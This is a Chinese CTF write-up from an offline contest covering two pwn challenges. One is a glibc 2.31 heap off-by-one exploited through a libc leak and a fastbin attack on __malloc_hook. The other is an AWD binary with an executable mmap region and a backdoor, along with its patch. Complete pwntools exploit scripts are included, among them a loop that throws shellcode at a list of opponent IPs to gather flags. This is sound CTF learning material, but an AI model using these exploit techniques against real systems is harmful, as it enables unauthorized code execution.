前言
菜鸡第一次打线下赛,一天解题一天awd,一共四个pwn,解题赛的pwn2到最后都只有一个师傅搞定(凌霄的师傅tql),本菜鸡只出了两个题,不过还好现场awd不是很激烈,只靠一个也勉强活了下来。本文简单记录一下解题的pwn1和awd的水pwn。
pwn1
解题赛一共两个pwn题,还好队伍里其他大佬c我。
漏洞点
pwn1就是一道朴实无华的堆题,2.31的libc,在申请堆块输入内容的时候存在off by one。
for ( i = 0; i <= size; ++i ) { read(0, &buf, 1uLL); if ( buf == 10 ) break; *(_BYTE *)(a1 + i) = buf; }
只能申请特定size的堆块 ,0x68和0xe8,并且使用calloc()申请堆块,并且限制了只能同时控制三个堆块,这一点限制了很多操作。
nmemb = 0;get_input();if ( nmemb_4 == 1 ) { nmemb = 0x68; } else if ( nmemb_4 == 2 ) { nmemb = 0xE8; } addr = calloc(nmemb, 1uLL);
思路
泄露地址
审计漏洞点,发现可申请的chunk大小只有0x71,0xf1,0x21。所以可以想到用0xf1的unsorted bin泄露地址,利用0x71的chunk进行fastbin attack。
首先将0xf1的tcache打满,因为calloc不会从tcache中取chunk,所以直接循环就可以将tcache打满。
然后再次申请一个0xf1的chunk0,用来释放进入unsorted bin,同时再申请一个0x71的chunk1,同时在chunk1中伪造一个堆头,用来满足下一步从unsorted bin中切出chunk后溢出修改size后的检测。
查看此时内存。
然后从unsorted bin中切出一个0x71大小的chunk0,同时溢出修改剩余unsorted bin的size为0xb1,这里size可以是任意值,只要可以覆盖相邻的chunk1,并且在chunk1中伪造好堆头。
所以现在有一个问题是如何将 main_arena 泄露出来,从chunk1的fd到当前 main_arena 的偏移为 0xa20-0x9a0 = 0x80 ,然而正常情况下,我们只能申请0xf1和0x71大小的堆块,但是如果申请的时候给一个非法选项的size,就会calloc(0)得到一个0x21的堆块,所以如果calloc(0)执行四次,就刚好将 main_arena 推到了chunk1的fd位置,show(1)即可泄露地址。
getshell
成功泄露地址之后,利用0x71的chunk进行fastbin attack。这里主要的困难是只能同时控制三个堆块。
从上一张图中能看到,chunk1的size被改为了0x31,chunk0是用来修改unsorted bin的size的0x71大小的chunk。
这部分最难受的就是同时只有三个堆块,被这个卡了很久。
跟泄露地址差不多的思路,此时堆布局为:
chunk0 0xf1
chunk1 0x71
chunk2 0xf1
将chunk0和chunk1释放,分别进入unsorted bin和fastbin,然后将fastbin中的chunk申请回来,同时将chunk2的presize改为0xf0,size改为0xf0。
然后在unsorted bin中申请0x71的chunk,同时溢出一字节修改size为0xf1。
就可以将overlap的chunk释放到fastbin中。然后通过申请0xf1的chunk时写入,覆盖fastbin的fd指针为 malloc_hook-0x33 ,当前内存布局如下。
查看fastbin。
这个时候的主要问题就是三个指针都用掉了,要清出两个指针进行fastbin attack,并且释放不能进入0x71的fastbin。
然后就是将malloc_hook盖为one_gadget。
使用第一个one_gaget,调试发现,执行到one_gadget时,r15 = 0 , r12 = size。
所以,calloc(0)即满足条件。
exp
from pwn import *from LibcSearcher import *context.log_level = 'debug'sa = lambda s,n : sh.sendafter(s,n)sla = lambda s,n : sh.sendlineafter(s,n)sl = lambda s : sh.sendline(s)sd = lambda s : sh.send(s)rc = lambda n : sh.recv(n)ru = lambda s : sh.recvuntil(s)ti = lambda : sh.interactive()
def dbg(addr): sh.attach(sh,'b *0x{}\nc\n'.format(addr))
def add(ch,c='a'): sla('choice:','1') sla('Large.',str(ch)) sla('Content:',c)def delete(idx): sla('choice:','2') sla('Index:',str(idx))def show(idx): sla('choice:','3') sla('Index:',str(idx))# add size 1->0x68 2->0xe8 else 0x21sh = process('./note')#sh = remote('10.12.153.11',58011)libc = ELF('/opt/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so')
for i in range(7):#calloc(0xe8) fill tcache add(2) delete(0)
add(2,'\x00'*0x80)#0add(1,'a'*0x20+p64(0xb0)+p64(0x70-0x30))#1 fake pre_sz & szdelete(0)#ustbin
add(1,'\x00'*0x68+p64(0xb1))#0 off by one
for i in range(4): add(0) delete(2)
show(1)libc_base = u64(ru('\x7f')[-6:].ljust(8,'\x00'))-(0x7efc8cb1dbe0-0x7efc8c932000)print hex(libc_base)malloc_hook = libc_base + libc.sym['__malloc_hook']
delete(0)for i in range(6): add(1) delete(0)add(2)#0
delete(1)#0x30 tcache
add(1,'a'*0x60+p64(0xf0))#1
add(2)#2
delete(0)#unsorted bindelete(1)# 0x71 fastbin
add(1,'a'*0x60+p64(0xf0)+p64(0xf0))#0 fake sizeadd(1,'\x00'*0x68+p64(0xf1))#1delete(0)add(2,'\x00'*0x70+p64(0)+p64(0x70)+p64(malloc_hook-0x33)+'\x00'*(0xe8-0x88)+p64(0X51))#0delete(2)delete(1)add(1,'a'*0x68+p64(0x81))delete(0)add(1)add(1,'a'*0x23+p64(libc_base+0xe6c7e))delete(0)sla('choice:','1')#gdb.attach(sh)sla('Large.',str(3))
ti()
pwn1_awd
比较简单的一题,不过awd阶段靠这题还拿了不少分,挺离谱的。
漏洞点
有一丢丢逆向pwn的意思,不过逻辑很简洁。
输入格式
op : choice 选操作
+ :off 输入偏移
n : size 输入长度
操作2和3都是先调用mmap开辟一块内存空间,然后以off为偏移,size为大小写入内容。
具有可执行权限。
unsigned __int64 sub_400A65(){ unsigned int v0; // eax unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u); if ( !mmap_addr ) { v0 = getpagesize(); mmap_addr = (int)mmap((void *)0x1000, v0, 7, 34, 0, 0LL); } return __readfsqword(0x28u) ^ v2;}
选项1判断开辟的内存空间内容是否为0xdeadbeef,是则getshell。
但是当时就很奇怪,这个shell读不了根目录下的flag文件,可能跟权限有关系。
unsigned __int64 sub_400AD4(){ unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u); puts("ready?"); mmap_to_write(); if ( *(_DWORD *)mmap_addr == 0xDEADBEEF ) system("/bin/sh"); puts("oh?"); return __readfsqword(0x28u) ^ v1;}
选项4就很直白。
unsigned __int64 sub_400C92(){ unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u); mmap_to_write(); puts("ready?"); mmap_addr("ready?")//执行shellcode return __readfsqword(0x28u) ^ v1;}
修复
一个是mmap出的内存空间不可执行。再将后门patch掉,不过后门不修应该也没关系,反正读不到flag。
mmap_addr = (__int64 (__fastcall *)(_QWORD))(int)mmap((void *)0x1000, v0, 6, 34, 0, 0LL);
exp
from pwn import *from LibcSearcher import *context.log_level = 'debug'sa = lambda s,n : sh.sendafter(s,n)sla = lambda s,n : sh.sendlineafter(s,n)sl = lambda s : sh.sendline(s)sd = lambda s : sh.send(s)rc = lambda n : sh.recv(n)ru = lambda s : sh.recvuntil(s)ti = lambda : sh.interactive()context.arch = 'amd64'
shellcode = shellcraft.open('flag.txt')shellcode += shellcraft.read('rax','rsp',0x60)shellcode += shellcraft.write(1,'rsp',0x60)payload = asm(shellcode)#sh = remote('10.12.153.18',9999)def write_shell(): return 'op:2\n+:0\nn:400\n\n'def run(): return 'op:4\n\n'#gdb.attach(sh)def pwn(): sla('code> ',write_shell()) sa('ready?',payload) sla('code> ',run())
#run_shell(sh,'./backdoor')
with open('ip.txt','r') as f: ips = f.readlines()print ips
f = open('flag_2.txt','w+')for i in ips: ip= i.strip('\r\n') print ip sh = remote(ip,9999)
try: pwn() flag = ru('}')[-38:] f.write(flag+'\n') print '__flag__:'+flag except: print 'error'f.close()
总结
解题赛被pwn2支配了大半天,结果还是没什么进展,